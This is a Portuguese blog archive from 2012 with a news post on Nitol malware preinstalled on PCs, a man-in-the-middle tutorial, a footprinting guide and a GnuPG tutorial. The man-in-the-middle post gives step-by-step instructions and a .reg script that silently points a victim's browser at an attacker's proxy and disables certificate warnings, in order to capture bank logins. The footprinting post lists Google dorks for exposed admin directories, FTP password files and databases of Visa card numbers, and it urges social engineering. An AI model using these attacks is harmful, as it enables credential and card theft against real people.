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domingo, 16 de setembro de 2012

Microsoft descobre que PCs já saem de fábrica com vírus

Em meio a uma investigação sobre pirataria, a Microsoftdescobriu algo preocupante: computadores não só saem de fábrica com cópias falsificadas do Windowscomo, também, com vírus.

Pesquisadores da companhia encontraram o problema na China ao comprarem 20 máquinas novas em varejistas diferentes. Todas elas tinham versões piratas do sistema operacional e quatro delas vieram com vírus.

Um desses vírus, chamado Nitol, já foi visto também nos Estados Unidos, Rússia, Austrália e Alemanha, segundo o 
The Guardian. Todos esses computadores se tornam parte de uma botnet.

O caso foi revelado pela 
Microsoft na quinta-feira, 13, em uma corte federal em Virgínia, onde a companhia encabeça uma batalha contra o empresário chinês Peng Yong, dono de um domínio considerado como responsável pela maior central de atividades ilegais na internet, o 3322.org. Há mais de 500 tipos de malwares por lá.

A empresa foi à Justiça explicar a ligação entre Yong e o vírus, descoberta em uma investigação sobre pirataria iniciada em agosto de 2011 - foi quando as 20 máquinas foram compradas. Dentre todos os problemas, o que mais chamou a atenção dos pesquisadores foi a atividade do Nitol, que já veio ativo em um dos PCs.

"Assim que ligamos este computador, por sua conta própria e sem qualquer intervenção nossa, ele começou a pesquisar na internet, tentando se conectar com um computador desconhecido", contou em um documento Patrick Stratton, um gerente sênior da 
Microsoft para crimes digitais.

Ele e um colega perceberam que o Nitol é altamente contagioso: ao conectar um pendrive à máquina infectada, ele automaticamente foi contaminado e, quando ligado a outro PC, ele passou o vírus adiante.

Milhares de exemplos do vírus foram examinados, com diversas variáveis, e em todos os casos havia ligação com servidores associados ao 3322.org. Em 2008, a Kaspersky afirmou que 40% de todos os malwers do mundo tinham alguma relação com o domínio; no ano seguinte, a Zscaler reportou que a taxa era de 17%.


sábado, 15 de setembro de 2012

teste


quarta-feira, 12 de setembro de 2012

A técnica Man-in-the-Middle

 O que aconteceu, se eu tomei todos os cuidados antes de entrar com a minha senha!? ...
Onde estava o erro afinal?
Será que havia um HOMEM-NO-MEIO?

A Técnica

Apesar de ser uma técnica relativamente fácil de ser feita, não deixa de ser uma técnica super poderosa. Muitos crackers à usam para fins maléficos como roubar senhas de clientes de bancos, mas a mesma pode ser usada por hackers para descobrir senhas de e-mails como por exemplo o Yahoo! Ou Hotmail que se tentássemos captura-las por técnicas de sniffing não obteríamos nada legível. Neste artigo irei mostrar como os crackers capturam senhas de bancos on-line para demonstrar que os famosos tecladinhos virtuais são facilmente burlados apesar de toda a sua fama de seguro. Nenhuma forma de proteção existente nos dias de hoje é capaz de parar esta técnica.
Espero que nenhum de nossos leitores use o conhecimento aqui obtido para causar prejuízos a terceiros, uma vez que escrevi este artigo apenas para fins didáticos e não poderá ser usado como forma de incentivo a criminalidade. O que garante que eu possa passar este conhecimento para você sem está cometendo um crime é o artigo 5º da Constituição Federal que nos garante a Liberdade de Expressão.


Como funciona?

Veja a imagem a seguir, esta é uma representação de uma conexão normal, sem interceptações, e funciona de modo que o cliente passa os dados criptografados para o servidor e vice-versa, tornando assim impossível o uso de técnicas de sniffing para a capturados dados trocados entre o cliente e o servidor.


Abaixo segue uma representação de uma conexão interceptada, (usando a técnica Man-in-The-Middle), e funciona de modo que o hacker engana o cliente e o servidor. Engana o cliente se fazendo passar por um simples servidor de proxy, e engana o servidor se passando pelo próprio cliente, desta forma os dados chegam até o hacker em texto puro, pois os dois pensam que o hacker é uma fonte confiável.



Conhecendo o Anchiles

O Achiles nada mais é do que um simples servidor de proxy, que se usado de forma incorreta pode servir como uma poderosa ferramenta hacker, que nas mão de uma pessoa mal intencionada pode causar grandes prejuízos, uma verdadeira faca de dois gumes. Você pode usar outro programa semelhante mais vamos usar este no exemplo.

Configurando



Em seguida clique no botão com um sinal de play no achiles para iniciar o servidor de proxy, para confirmar se o Achiles realmente iniciou o servidor verifique na barra de status do programa se ele está como running como na figura abaixo.


Agora abra as janelas do cliente e do servidor, para abrir a janela do cliente basta clicar no botão do ícone C e para a abrir a janela do servidor basta clicar na janela com o ícone S e aogra o Achiles já está configurado vamos agora configurar a máquina alvo.

Preparando o computador alvo

Um dos grandes inconvenientes desta técnica é que precisamos ter acesso físico à máquina do alvo para fazermos algumas configurações para que a técnica dê certo ou então poderíamos escrever um controle ActiveX que quando o alvo entrasse em uma página contendo este controle malicioso feito pelo hacker, estas alterações fossem feitas no computador do alvo automaticamente, mas isto é uma área muito avançada e será estudada em um outro artigo, talvez.
Para preparar o computador do alvo siga os passos:

Etapa 1
Abra o Internet Explorer do alvo, clique no menu Ferramentas / Opções de Internet... E em seguida na aba Conexões e depois em Configurações da LAN.

Etapa 2
Tomando como exemplo a figura abaixo, na máquina do alvo marque a opção de número 01 e em seguida digite o seu IP no campo número 02 (você pode ver qual é o seu IP acessando http://www.ip-adress.com) e no campo de número 03 digite a porta que você especificou no achiles quando o configurava. Agora clique em OK e vá para a aba Avançadas.


Etapa 3

Na aba Avançadas role a drop-down até encontrar as opções no grupo Segurança:
Avisar quando o certificado do site for inválido
Avisar se os formulários submentidos estiverem sendo redirecionados
Pronto! Agora é só esperar que o alvo acesse site e digite seus dados (login e senha), e logo aparecerá na janela de Cliente do Achiles. Na janela do servidor você poderá ver as respostas que o servidor está dando para o cliente, use com cuidado!

Script automatizado

Vamos escrever um script que fará todo o trabalho pesado pra você, ele fará toda a configuração mostrada acima, automaticamente basta apenas executá-lo e pronto o computador da vítima já está preparado para a ser interceptado.
Abra o notepad e digite o seguinte código, (sem a numeração das linhas):

Windows Registry Editor Version 6.01
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable"=dword:00000001
"ProxyServer"="127.0.0.1:8080"

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"WarnonBadCertRecving"=dword:00000000
"WarnOnPostRedirect"=dword:00000000

Em seguida salve o arquivo com a extensão .reg.

Como configurar o script

Para configurar este script é bastante simples basta você editar a linha de número 4 ("ProxyServer"="127.0.0.1:8080") no código do script colocando lá informações sobre o IP e porta do servidor de proxy que no caso é o IP do seu computador. No lugar de 127.0.0.1 você deverá digitar o seu IP e no lugar de 8080 você deverá digitar a porta pela qual o servidor do proxy vai se comunicar com o cliente, ficando assim "ProxyServer"="ip.do.seu.micro:porta".
O script está pronto! Agora é só você fazer com que o alvo o abra ou em um rápido acesso físico a máquina do mesmo você poderá executá-lo já que sua execução é bastante rápida.

Proteja-se

Se você perceber a internet extremamente lenta ou se for emitido algum aviso sobre o certificado de segurança inválido, quando você acessar alguma página segura como a página de um banco, desconfie! Pois você pode estar sendo mais uma vítima desta poderosa técnica. Crie o habito de checar as configurações de proxy (Ferramentas>Opções de Internet...) toda vez que for visitar sites de bancos ou passar informações sigilosas via internet, assim você ficará bem mais protegido.
Pode existir novas técnicas que aplicam o golpe Man-in-the-Maddle e softwares especificos para o feito, então sempre se mantenha atualizado sobre isto.

FONTE : securityhacker

quarta-feira, 22 de agosto de 2012


sexta-feira, 17 de agosto de 2012

Tecnica de Footprinting na Web


Google!

Um método de se fazer footprinting e que pode ser bem eficiente é utilizar páginas de busca na Internet, em especial o Google. Ele possui um recurso poderoso de obtenção e procura de informações, baseado no PageRank. Através do “GoogleBot”, um script automatizado, ele varre toda a rede, atravessando todos os possíveis links e catalogando as páginas que descobriu, além de remover de seu cadastro algum que possa ter deixado de existir. Enfim, o Google é uma ferramenta de busca que não requer interação humana (como cadastro manual de de sites). Com um sistema tão potente, não fica difícil imaginar porque hoje é uma das melhores ferramentas de footprinting existente e claro, a mais utilizada com essa finalidade.

Considerações Importantes : 

O Google não diferencia letras maiúsculas de minúsculas.

O máximo de palavras-chave para a pesquisa são 10.

É permitida a pesquisa com wildcards (asteriscos). Assim, você especifica só uma parte do que quer encontrar e vê diversas opções. Ex.: universidade estadual de minas, universidade federal de minas, universidade especial de minas etc.

A ordem das palavras faz diferença. Pesquisar futebol pelé e pelé futebol gera diferentes resultados.

O sinal de mais (+) funciona como operador AND eo sinal de menos (-) como operador NOT. Exemplo: quero procurar por: hackers brasileiros. Se eu colocar desse jeito no Google, ele procura por páginas que contenham cada uma das palavras. Se eu colocar +hackers +brasileiros, ele irá procurar por sites que tenham as duas palavras. Por fim se colocarmos hackers –brasileiros, ele irá procurar por todos os sites que contenham a palavra hackers, exceto os que contêm a palavra brasileiros.

Alguns comandos do Google

→ Intext: Procura informação no texto das páginas.

→ Inurl: Procura informação em links. Ex: http://www.invasao.com.br

→ Inanchor: Procura informção no texto de um link. Ex: download (palavra muito comum em textos de links).

→ Intitle: Procura informação no título das páginas.

→ Cache: Mostra o cache do Google de determinada página.

→ Site: Especifica em quais sites a busca será feita. Exemplo: com.br (procura só em sites comerciais no Brasil), gov.br (procurar só em sites do governo do Brasil), uol.com.br (procurar apenas no site UOL).

→ Filetype: Especifica o tipo de aquivo que quer encontrar. Você precisa colocar apenas a extensão. Ex: pdf, doc, swf, xls, ini, pwd, mdb.

Você pode combinar esses comandos. Exemplo: quero pesquisar por sites que contenham a palavra segurança no título da página e que sejam somente no Brasil.

+intitle:segurança +site:br

Vamos pesquisar agora por sites não indexados. São locais nos quais não se colocou um index.htm ou página principal. Quando você os acessa, esses sites simplesmente lhe mostram uma lista dos arquivos que estão ali. Além disso, vamos tentar conseguir uma página de site não indexado que esteja no diretório admin.

+inurl:admin +”Index of /admin”

Outra pesquisa muito utilizada pelos famosos Script Kiddies é para obter e descobrir senhas. A imaginação ajuda muito nesse ponto. Um exemplo interessante é a descoberta de arquivos INI de configuração, no qual alguns deles contêm até senhas com um fraco sistema de criptografia. É o caso do WS_FTP. Na pesquisa a seguir, especificamos o tipo de arquivo (filetype) para INI e mandamos bala.

+filetype:ini +WS_FTP

E , por último, quero demostrar o quanto pode ser perigoso o Google quando utilizado por mãos erradas (mais ainda do que mostramos até agora). Vamos tentar procurar por bancos de dados do Microsoft Access que possuem números de cartão de crédito Visa, especificando novamente o filetype:

+filetype:MDB +visa

Saiba o que é Footprinting


Footprinting é a arte de obter informações sobre um sistema alvo usando táticas “seguras”, sem perigo de detecção, e que pode dar muitas informações sobre ele. Tais como visitar o site da empresa em que se quer invadir e ler as seções para ver se encontra algo de interessante.
O footprinting é o nome dado ao ato de realizar comandos remotos ao alvo, ou sistema remoto, com objetivo de recolher informações tais como, qual Sistema Operacional usa, qual portas ficam abertas para entrada, qual sistema de defesa usa, entre outros.E para realizar o footprinting, você deve usar todas as ferramentas de comandos remotos que seu SO disponibiliza, os sistemas UNIX possuem muitos, os win3.11, win95, win98, winME, possuem poucos, o winNT e win2000 possuem um service que podem ser instalado separadamente, que possue ótimas ferramentas para realizar footprinting.Existe duas ótimas ferramentas que ajudam muito a realizar o footprinting em SO linux, que são o SATAN e o nmap. O SATAN é uma ferramenta que foi construída para axiliar na análise de sistemas remotos, que pode ser usado tanto para previnir quando para ajudar a atacar, pois ajuda a fazer o footprinting. Bem, o que o SATAN faz é simplesmente executar vários (pra não dizer quase todos) comandos remotos que o linux tem, no sistema alvo e depois mostrar o resultado, assim facilida muito, em vés da pessoa ter que ficar dando whois, finguer, ping, tracert, entre outros, executa o SATAN no host alvo e pronto. O nmap, é simplesmente uma ferramenta indispensável para quem faz footprinting através de sistamas linux, ele é um super scan, capaz de identificar o SO do host, e conseguir outros dados importantíssimos. Mais informações sobre o sistema podem ser obtidas através de uma técnica muito boa que é a engenharia social, que é apenas usufruir de talentos como mentira e cara-de-pau, para conseguir informações, tipo, você pode revirar o lixo da empresa a ser invadida, ou criar mentiras, mandar e-mails falsos se fazendo passar por alguém importante e pedindo dados do sistema, (use algum sistema de anonimato), e tentar descobrir algo, isso não se ensina, cada um aprende sozinho.


Whois

O Whois é excelente para obtermos informações sobre sites. Bancos de dados como o Internic (www.internic.org) mantêm informações interessantes sobre os domínios, tais como nome do dono, endereço e telefone. No Brasil, o orgão responsável por essa tarefa é a Fapesp e podem ser feitas pesquisas no seguinte endereço: http://www.registro.br/.

Análise de homepages

Consiste em entrar no site, ler tudo quanto é página, homepages pessoais de funcionários (se for uma empresa), absolutamente tudo. Parece incrível, mas muitos lugares mostram até configurações da rede em suas páginas. O código em html também deve ser analisado a procura de comentários. Muitos deles podem ser extremamente úteis. Cheque todos os links, observe os endereços em que as páginas se posicionam. Já dá para começarmos o montar um
mapas da rede (antes de fazer um ataque direto scanneando mais tarde).

Pesquisa geral

Use ferramentas de busca como o Altavista para descobrir outras páginas com o nome do domínio atacado. Pesquise em jornais notícias em jornais e revistas sobre o “inimigo”, tais como se ele já foi atacado, se já sofreu algum tipo de invasão, etc. Tente conhecer pessoas que trabalham lá, ter uma noção de quantos empregados existem tomando conta daquele servidor. Enfim, quanto mais você puder descobrir na pesquisa geral, mas fácil o seu trabalho ficará depois.

Primeiros passos com o GnuPG - Ferramenta para criptografar dados e criar assinaturas digitais.

O que é o GnuPG?

O GnuPG (GNU Privacy Guard) é uma ferramenta livre e gratuita para comunicação e armazenamento seguro de dados, que pode ser usado pela linha de comando para criptografar dados e criar assinaturas digitais.


O GnuPG utiliza um método de criptografia conhecido como chave assimétrica, em que duas chaves são criadas: a primeira, pública, serve para que qualquer pessoa codifique mensagens e arquivos de modo que apenas você possa decodificar; a segunda, privada, deve ser mantida em absoluto sigilo e serve para que você decodifique mensagens term papers criptografadas com sua chave pública equivalente. Por isso, esse método também é conhecido como criptografia de chave pública.



Instalando o GnuPG


Aqui o gpg ja veio instalado mais ele pode ser encontrado no repositorio de programas do ubuntu e para instalar basta digitar no terminal



As chaves públicas e privadas são armazenadas nos arquivos pubring.gpg e secring.gpg respectivamente, dentro do subdiretório ~/.gnupg de sua pasta pessoal ($HOME). Convém tirar um cópia de segurança desses arquivos, para isso basta copiar os arquivos citados acima em uma mídia segura (pen-drive, CD-ROM, etc).





# apt-get install gnupg  
Após instalar o gnupg, execute o comando gpg para criar o diretório ~/.gnupg que armazenará as chaves pública e privada.



$ gpg  

Gerando suas chaves GnuPG


Para gerar um par de chaves pessoais use o comando:





$ 
gpg --gen-key  






gpg 
(GnuPG) 1.4.11; Copyright (C) 2010 Free Software Foundation, Inc. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Por favor selecione o tipo de chave desejado: 
   (
1) RSA e RSA (padrão) 
   (
2) DSA e Elgamal 
   
(3) DSA (apenas assinatura) 
   (
4) RSA (apenas assinar) Sua opção? 1  


Nesse tutorial iremos escolher a opção 1 mais isso vai de acordo com a necessidade de cada pessoa





RSA chaves podem ter o seu comprimento entre 1024 e 4096 bits
. Que tamanho de chave você quer? (2048) 2048 
 
Aqui você dever escolher qual o comprimento das chaves que varia de 1024 para 4096 sendo que o padrão é 2048

Depois de feito isso irar aparecer a opção de por quanto tempo as chaves serão validas





Por favor especifique por quanto tempo a chave deve ser válida
. 
         
0 = chave não expira 
      
<n>  = chave expira em n dias 
      
<n>w = chave expira em n semanas 
      
<n>m = chave expira em n meses 
      
<n>y = chave expira em n anos 
A chave é valida por
? (0)  
Agora escolha o período da validade de sua chave. A opção 0 (zero) é o padrão, a chave não expira. Mas caso você queira que sua chave expire depois de um certo período, informe um número positivo que terá o valor de dias. Esse número pode ser seguido das letras w (semanas), m (meses) ou y (anos). Por exemplo, "10w", "7m", "2y", "60". Obs: Após a validade, a chave será considerada inválida.




A chave é valida por
? (0) 0 
A chave não expira nunca 
Está correto 
(s/N)? s  



Depois de feito isso devemos colocar informações sobre o dono das chaves (você)


Você precisa de um identificador de usuário para identificar sua chave
; o 
programa constrói o identificador a partir 
do Nome Completo, Comentário e 
Endereço Eletrônico desta forma
: 
    
"Heinrich Heine (Der Dichter) " Nome completo: MMxM~ <enter> Endereço de correio eletrônico: mmedeiros1983@hotmail.com <enter> Comentário: <enter> Você selecionou este identificador de usuário: 
    
"MMxM~ " Muda (N)ome, (C)omentário, (E)ndereço ou (O)k/(S)air? o  
Nesse passo o GnuPG cria um identificador a partir dos seus dados pessoais. Você precisará informar seu Nome Completo, Endereço de correio eletrônico e opcionalmente um comentário. Não se preocupe em errar algum dado, pois uma mensagem para confirmação será exibida.

Após ter terminado essa etapa você devera informar um frase secreta:


Digite a frase secreta
: Repita a frase secreta:  
Depois de ter escrito a frase secreta e repitido ela , sua chave será criada:




Precisamos gerar muitos bytes aleatórios
. É uma boa idéia realizar outra 
atividade 
(digitar no teclado, mover o mouse, usar os discos) durante a 
geração dos números primos
; isso dá ao gerador de números aleatórios 
uma chance melhor de conseguir entropia suficiente
. 
..............+++++ 
......+++++ 
Precisamos gerar muitos bytes aleatórios. É uma boa idéia realizar outra 
atividade 
(digitar no teclado, mover o mouse, usar os discos) durante a 
geração dos números primos
; isso dá ao gerador de números aleatórios 
uma chance melhor de conseguir entropia suficiente
. 
.+++++ 
.+++++ 
gpg: chave C8F75708 marcada como plenamente confiável 
chaves pública e privada criadas e assinadas
. gpg: checando o trustdb 
gpg
: 3 parcial(is) necessária(s), 1 completa(s) necessária(s), modelo de confiança PGP 
gpg
: profundidade: 0 válidas:   1 assinadas:   0 confiança: 0-, 0q, 0n, 0m, 0f, 1u 
pub   2048R
/C8F75708 2012-06-17 
      Impressão digital da chave
: 2412 BFC6 E9BB 2BD4 06DD  29ED F1BC 312C C8F7 5708 
uid                  MMxM
~ <mmedeiros1983@hotmail.com> sub   2048R/5DD33612 2012-06-17  


Listando Chaves


Para listar as chaves armazenadas, use o comando:





$ 
gpg --list-keys /home/mmxm/.gnupg/pubring.gpg ----------------------------- pub   2048R/C8F75708 2012-06-17 
uid                  MMxM
~ <mmedeiros1983@hotmail.com> sub   2048R/5DD33612 2012-06-17
  
A primeira coluna exibe o tipo de chave: a palavra pub indica uma chave publica principal para assinaturas, enquanto a palavra sub indica uma chave publica subordinada. A segunda coluna indica a quantidade de bits da chave, seguido por seu tipo e seu número de identificação em hexadecimal. A terceira coluna é exibido a data de criação da chave (yyyy,mm,dd). Por fim, a última coluna exibe o identificador do usuário.

Nesse exemplo, o key-ID é C8F75708 e o user-ID tanto pode ser o nome: MMxM~ como o e-mail:hchost@hotmail.com


No caso das chaves privadas basta digitar




$ 
gpg --list-secret-keys /home/mmxm/.gnupg/secring.gpg ----------------------------- sec   2048R/C8F75708 2012-06-17 
uid                  MMxM
~ <mmedeiros1983@hotmail.com> ssb   2048R/5DD33612 2012-06-17  



Exportando e importando chaves

Exportando chaves pública


Sua chave pública deve ser distribuída a outros usuários para que possam enviar dados criptografados ou checar a autenticidade de seus arquivos. Para exportar sua chave pública em um arquivo que será distribuído a outras pessoas ou servidores de chaves na Internet, use a opção --export:




 
$ gpg --export -a [key-ID] > chave-pub.asc  
Ao invés do key-ID, pode ser usado o user-ID. A opção -a permite que os dados sejam gerados usando bits ASCII 7.

Chave pública:


-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.11 (GNU/Linux)

mQENBE/eJy8BCAC6cfHGs+tZuYDovPcH4ThEdf8A8RbmkC/DSUM15/w80fjsFIZ0
/ws1MrEMtgaW3Or34MGUR3XfzNxDfFaorkk1h6Bn6qkPLHi7gspAUGGXUd87MbDu
iW1g/+/hijRrJkiVEwi6fV3tt+G7q1CG8lryVDSU6Wein6uJ+Eq0SuwP++/w8aJ6
ajlMCDKBvf779uXPYpvTaeB8pQuf0rB0IkaOngJ63xuSOsjQE796Dr0WYJPagWrU
GK8K4yu6wJsNhTZSfed3cWtKHbQvRPMHLRPqbOqAX5SjBoB5pb1Jqg/3lM1741it
N6/L0v91szWr4elVg0I5izJJpz2JdHOdTnhzABEBAAG0IU1NeE1+IDxtbWVkZWly
b3MxOTgzQGhvdG1haWwuY29tPokBOAQTAQIAIgUCT94nLwIbAwYLCQgHAwIGFQgC
CQoLBBYCAwECHgECF4AACgkQ8bwxLMj3Vwg4SAf+O3vJqnc5lwxDwTWqKOrt0xnA
R2lDUxlcaaPYTLjDijeeZyQbqdgokKJNTmaIVut+FNH0FKO4jfSa+oyf0tUY9Oad
m4AdT3zfnDGqfZSYO5UHQ3rc5buGn3ZtoYuEWJ90JovifQxbmXasEvGUZ05OUrDP
t4aA5Eq5vVIgK/nIQS6qHP43z7Q2Y+SHqVe43CPSjv4L4byR3k4GJ3wUjiU2t716
2pCPsMD3PXOQzp+C25a453agCwd1n/xytucsLAyjMzIbo55J2aTEOCzK/YGXbYri
gP6FuTusEY5GAGNK0jlI1Yc4FbAnt8Fc2EQ2FGuWkNQZoqoOT0UKlqqK4bAlb7kB
DQRP3icvAQgAtQKKu28jy1+jW3KuX5vYfuSfK86Qyhp6+RyyDRq5UQ2NP5bUddCH
1ZGNHD1ayWSx23wdojerZtmZxA6B3EAy/x+BjUSMtCMe7ZmxowrATEzR0XcAdSUB
+U/BvxOLLUShCt2rtDplz9Yjp8JUn0gkEbnwEnTLAiUJ3DKOBaYpiwDzUsgKELkQ
u4DOevKx9iVIU1SLp5AJtMajMlrtxMRvi8Z30Qgitml2qf2DZClHxYKtLyWAM0Mv
b1MPiTqovz2IQxFhVXwHPDoM32DbmxHrmL2z18kWRx8VQZbboja1gqL70aJgVt1l
/3oKoIaS3dNYx0tOCDnDGl4mR+rrhq0aiQARAQABiQEfBBgBAgAJBQJP3icvAhsM
AAoJEPG8MSzI91cI6WsIALXaVd7uooU/MtQU3hk9K73Bqj/ARpIKJzkfcwXYk7Ia
b75H/oCu+RKz7tTemLkdS2vPdNNCuf8plxks7DtZeu9VAOeKEZDnrSBRm8ftrlUr
p3QLDKy4c+E1GcifxHhWksy/jmHcggIGWewVHNacLjtchhsLICjRFAecBqTxVN/A
WYJDK1Xn0NsbDKkiNlDxlby3b/lij4fUwMSY7XHlCzjM6NvwejapQ9hLNiaSM2Fu
nqtvlc/GcrJRMizPz7fbVUeBX93X64IvFEk/I+j4JO4ugesVttGZIHWaFpejIn3b
2aDzmH1hZWl9z6AqHQpktTjvMg1+npJn57IfOrehkzw=
=xrSJ
-----END PGP PUBLIC KEY BLOCK-----
Exportando chave privada

Você só deve exportar uma chave privada se for fazer backup dela , ela não pode ser publicada !!!
Comando:

:
$ gpg -a --export-secret-keys <nr_da_chave> > arq.key  
A extensão .asc é de uma chave pública , e a extensão .key é de uma chave privada


Importanto chaves

Uma chave pública pode ser adicionada ao seu chaveiro público com a opção --import.


$ 
gpg --import arquivo  

Remoção de chaves do chaveiro

Para remover uma chave pública do chaveiro:


$ 
gpg --delete-keys <nr da chave>  
Para remover uma chave privada do chaveiro:


$ 
gpg --delete-secret-keys <nr da chave>  

Alteração da passphrase de uma chave

Para alterar a senha digite:




$ 
gpg --edit-key <nr da chave> password  

Para sair do ambiente de edição e salvar as alterações, digite “quit”.


Codificando e decodificando arquivos

O procedimento para codificar e decodificar arquivos é simples e direto. Se você quer codificar uma mensagem para um amigo, você usa a chave pública dele e só ele irá decodificar a mensagem usando a chave privada. Se um amigo quer enviar uma mensagem para você, ele codifica usando sua chave pública e você decodifica usando sua chave privada.

Para codificar (--encrypt) um arquivo, use o comando:




$ 
gpg --output arquivo_secreto  --recipient [key-ID-destinatario] --encrypt arquivo_original  


Para decodificar (--decrypt) um arquivo, use o comando:


$ 
gpg --output arquivo_decodificado --decrypt arquivo_secreto  


Outras possibilidades

Para ver outras possibilidades de uso do comando gpg, utilize os comandos:



$ 
gpg --help $ man gpg  

As opções sitadas acima são opções de utilização básica do gpg